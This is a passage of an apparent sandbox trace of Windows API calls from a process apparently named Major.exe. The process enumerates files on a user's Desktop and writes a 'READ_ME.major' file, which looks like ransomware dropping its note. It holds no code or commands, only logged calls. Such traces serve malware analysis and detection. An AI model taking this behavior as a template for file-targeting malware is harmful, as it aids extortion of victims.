Size=0x60) returned 0x5b66a8 [0144.980] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb647c50, ftCreationTime.dwHighDateTime=0x1d4cdfe, ftLastAccessTime.dwLowDateTime=0xffa59d40, ftLastAccessTime.dwHighDateTime=0x1d4d111, ftLastWriteTime.dwLowDateTime=0xffa59d40, ftLastWriteTime.dwHighDateTime=0x1d4d111, nFileSizeHigh=0x0, nFileSizeLow=0x4d7f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="IzEDH-UkZHZJ5jKxrR.gif", cAlternateFileName="IZEDH-~1.GIF")) returned 1 [0144.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0144.980] GetLastError () returned 0x5 [0144.980] SetLastError (dwErrCode=0x5) [0144.980] GetLastError () returned 0x5 [0144.980] SetLastError (dwErrCode=0x5) [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0144.980] GetLastError () returned 0x5 [0144.980] SetLastError (dwErrCode=0x5) [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0144.980] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30852c90, ftCreationTime.dwHighDateTime=0x1d4cd0d, ftLastAccessTime.dwLowDateTime=0x43b9c250, ftLastAccessTime.dwHighDateTime=0x1d4d224, ftLastWriteTime.dwLowDateTime=0x43b9c250, ftLastWriteTime.dwHighDateTime=0x1d4d224, nFileSizeHigh=0x0, nFileSizeLow=0xd978, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="jR2Fv0O2ExdeRPpH3 jd.wav", cAlternateFileName="JR2FV0~1.WAV")) returned 1 [0144.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0144.980] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0144.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0144.981] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8b7e0, ftCreationTime.dwHighDateTime=0x1d4cfb7, ftLastAccessTime.dwLowDateTime=0x7a759250, ftLastAccessTime.dwHighDateTime=0x1d4c6db, ftLastWriteTime.dwLowDateTime=0x7a759250, ftLastWriteTime.dwHighDateTime=0x1d4c6db, nFileSizeHigh=0x0, nFileSizeLow=0x8771, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="jtx871o2rJ.odt", cAlternateFileName="JTX871~1.ODT")) returned 1 [0144.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be3c8 [0144.981] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c1cd080, ftCreationTime.dwHighDateTime=0x1d4d264, ftLastAccessTime.dwLowDateTime=0xee39630, ftLastAccessTime.dwHighDateTime=0x1d4d280, ftLastWriteTime.dwLowDateTime=0xee39630, ftLastWriteTime.dwHighDateTime=0x1d4d280, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="KqwjCn 3Q7SaC_Ku62gF.swf", cAlternateFileName="KQWJCN~1.SWF")) returned 1 [0144.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.981] GetLastError () returned 0x5 [0144.981] SetLastError (dwErrCode=0x5) [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.982] GetLastError () returned 0x5 [0144.982] SetLastError (dwErrCode=0x5) [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631690 [0144.982] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb442b30, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x562865d0, ftLastAccessTime.dwHighDateTime=0x1d4c8de, ftLastWriteTime.dwLowDateTime=0x562865d0, ftLastWriteTime.dwHighDateTime=0x1d4c8de, nFileSizeHigh=0x0, nFileSizeLow=0x91b2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="latl2konSd9A.m4a", cAlternateFileName="LATL2K~1.M4A")) returned 1 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.982] GetLastError () returned 0x5 [0144.982] SetLastError (dwErrCode=0x5) [0144.982] GetLastError () returned 0x5 [0144.982] SetLastError (dwErrCode=0x5) [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.982] GetLastError () returned 0x5 [0144.982] SetLastError (dwErrCode=0x5) [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0144.982] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4395d0, ftCreationTime.dwHighDateTime=0x1d4d5e7, ftLastAccessTime.dwLowDateTime=0xbb7ddaf0, ftLastAccessTime.dwHighDateTime=0x1d4c7c1, ftLastWriteTime.dwLowDateTime=0xbb7ddaf0, ftLastWriteTime.dwHighDateTime=0x1d4c7c1, nFileSizeHigh=0x0, nFileSizeLow=0x9709, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LdMDxx35.m4a", cAlternateFileName="")) returned 1 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.982] GetLastError () returned 0x5 [0144.982] SetLastError (dwErrCode=0x5) [0144.982] GetLastError () returned 0x5 [0144.982] SetLastError (dwErrCode=0x5) [0144.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0144.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.982] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be5d8 [0144.983] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427193b0, ftCreationTime.dwHighDateTime=0x1d4ca49, ftLastAccessTime.dwLowDateTime=0xead5bab0, ftLastAccessTime.dwHighDateTime=0x1d4cc81, ftLastWriteTime.dwLowDateTime=0xead5bab0, ftLastWriteTime.dwHighDateTime=0x1d4cc81, nFileSizeHigh=0x0, nFileSizeLow=0xaaf5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LYDmlBGbfl.png", cAlternateFileName="LYDMLB~1.PNG")) returned 1 [0144.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.983] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.983] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0144.983] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda67000, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xbe3f0680, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x204b3c00, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Major.exe", cAlternateFileName="")) returned 1 [0144.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0144.983] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] GetLastError () returned 0x5 [0144.983] SetLastError (dwErrCode=0x5) [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.983] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0144.983] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91696550, ftCreationTime.dwHighDateTime=0x1d4d2c9, ftLastAccessTime.dwLowDateTime=0xe082f50, ftLastAccessTime.dwHighDateTime=0x1d4c885, ftLastWriteTime.dwLowDateTime=0xe082f50, ftLastWriteTime.dwHighDateTime=0x1d4c885, nFileSizeHigh=0x0, nFileSizeLow=0x1ff3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="o8ciyk0NO2XHYoaqmnFR.ots", cAlternateFileName="O8CIYK~1.OTS")) returned 1 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.984] GetLastError () returned 0x5 [0144.984] SetLastError (dwErrCode=0x5) [0144.984] GetLastError () returned 0x5 [0144.984] SetLastError (dwErrCode=0x5) [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.984] GetLastError () returned 0x5 [0144.984] SetLastError (dwErrCode=0x5) [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6315c0 [0144.984] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3587b20, ftCreationTime.dwHighDateTime=0x1d4cf0c, ftLastAccessTime.dwLowDateTime=0xad2e37a0, ftLastAccessTime.dwHighDateTime=0x1d4d50f, ftLastWriteTime.dwLowDateTime=0xad2e37a0, ftLastWriteTime.dwHighDateTime=0x1d4d50f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PFR2M-o0qt2", cAlternateFileName="PFR2M-~1")) returned 1 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0144.984] GetLastError () returned 0x5 [0144.984] SetLastError (dwErrCode=0x5) [0144.984] GetLastError () returned 0x5 [0144.984] SetLastError (dwErrCode=0x5) [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0144.984] GetLastError () returned 0x5 [0144.984] SetLastError (dwErrCode=0x5) [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.984] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be420 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc918 [0144.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0144.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0144.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.985] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.985] GetLastError () returned 0x5 [0144.985] SetLastError (dwErrCode=0x5) [0144.985] GetLastError () returned 0x5 [0144.985] SetLastError (dwErrCode=0x5) [0144.985] GetLastError () returned 0x5 [0144.985] SetLastError (dwErrCode=0x5) [0144.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631628 [0144.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0144.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631628 | out: hHeap=0x570000) returned 1 [0144.986] WriteFile (in: hFile=0x5e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.987] CloseHandle (hObject=0x5e4) returned 1 [0144.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0144.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0144.987] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.987] GetLastError () returned 0x0 [0144.987] SetLastError (dwErrCode=0x0) [0144.987] GetLastError () returned 0x0 [0144.987] SetLastError (dwErrCode=0x0) [0144.987] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0144.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.987] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.988] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc226bb60, ftCreationTime.dwHighDateTime=0x1d4d24d, ftLastAccessTime.dwLowDateTime=0xfe7ecaa0, ftLastAccessTime.dwHighDateTime=0x1d4cae9, ftLastWriteTime.dwLowDateTime=0xfe7ecaa0, ftLastWriteTime.dwHighDateTime=0x1d4cae9, nFileSizeHigh=0x0, nFileSizeLow=0x16fb1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TqrOwHSCm9aUyso-.m4a", cAlternateFileName="TQROWH~1.M4A")) returned 1 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.988] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.988] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6317c8 [0144.988] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155d6c80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x197e3c60, ftLastAccessTime.dwHighDateTime=0x1d4c625, ftLastWriteTime.dwLowDateTime=0x197e3c60, ftLastWriteTime.dwHighDateTime=0x1d4c625, nFileSizeHigh=0x0, nFileSizeLow=0x8585, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="tuYpwDn8lZKFlv_vyIw.xls", cAlternateFileName="TUYPWD~1.XLS")) returned 1 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.988] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.988] GetLastError () returned 0x0 [0144.988] SetLastError (dwErrCode=0x0) [0144.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0144.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631628 [0144.989] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf667c20, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0xbabbfb30, ftLastAccessTime.dwHighDateTime=0x1d4cd4b, ftLastWriteTime.dwLowDateTime=0xbabbfb30, ftLastWriteTime.dwHighDateTime=0x1d4cd4b, nFileSizeHigh=0x0, nFileSizeLow=0x7817, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="uXlL8DYgDEUjN jq7.bmp", cAlternateFileName="UXLL8D~1.BMP")) returned 1 [0144.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0144.989] GetLastError () returned 0x0 [0144.989] SetLastError (dwErrCode=0x0) [0144.989] GetLastError () returned 0x0 [0144.989] SetLastError (dwErrCode=0x0) [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0144.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0144.989] GetLastError () returned 0x0 [0144.989] SetLastError (dwErrCode=0x0) [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631830 [0144.989] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5603fa0, ftCreationTime.dwHighDateTime=0x1d4cb69, ftLastAccessTime.dwLowDateTime=0x68842780, ftLastAccessTime.dwHighDateTime=0x1d4ce94, ftLastWriteTime.dwLowDateTime=0x68842780, ftLastWriteTime.dwHighDateTime=0x1d4ce94, nFileSizeHigh=0x0, nFileSizeLow=0x17a1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="XRmOVt9gFML9F.mkv", cAlternateFileName="XRMOVT~1.MKV")) returned 1 [0144.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.989] GetLastError () returned 0x0 [0144.989] SetLastError (dwErrCode=0x0) [0144.989] GetLastError () returned 0x0 [0144.989] SetLastError (dwErrCode=0x0) [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0144.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.989] GetLastError () returned 0x0 [0144.989] SetLastError (dwErrCode=0x0) [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.989] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0144.989] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2deeb450, ftCreationTime.dwHighDateTime=0x1d4c859, ftLastAccessTime.dwLowDateTime=0x104d8d10, ftLastAccessTime.dwHighDateTime=0x1d4cd07, ftLastWriteTime.dwLowDateTime=0x104d8d10, ftLastWriteTime.dwHighDateTime=0x1d4cd07, nFileSizeHigh=0x0, nFileSizeLow=0xe0f1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yfgd0OgsIy.bmp", cAlternateFileName="YFGD0O~1.BMP")) returned 1 [0144.990] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0144.990] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.990] GetLastError () returned 0x0 [0144.990] SetLastError (dwErrCode=0x0) [0144.990] GetLastError () returned 0x0 [0144.990] 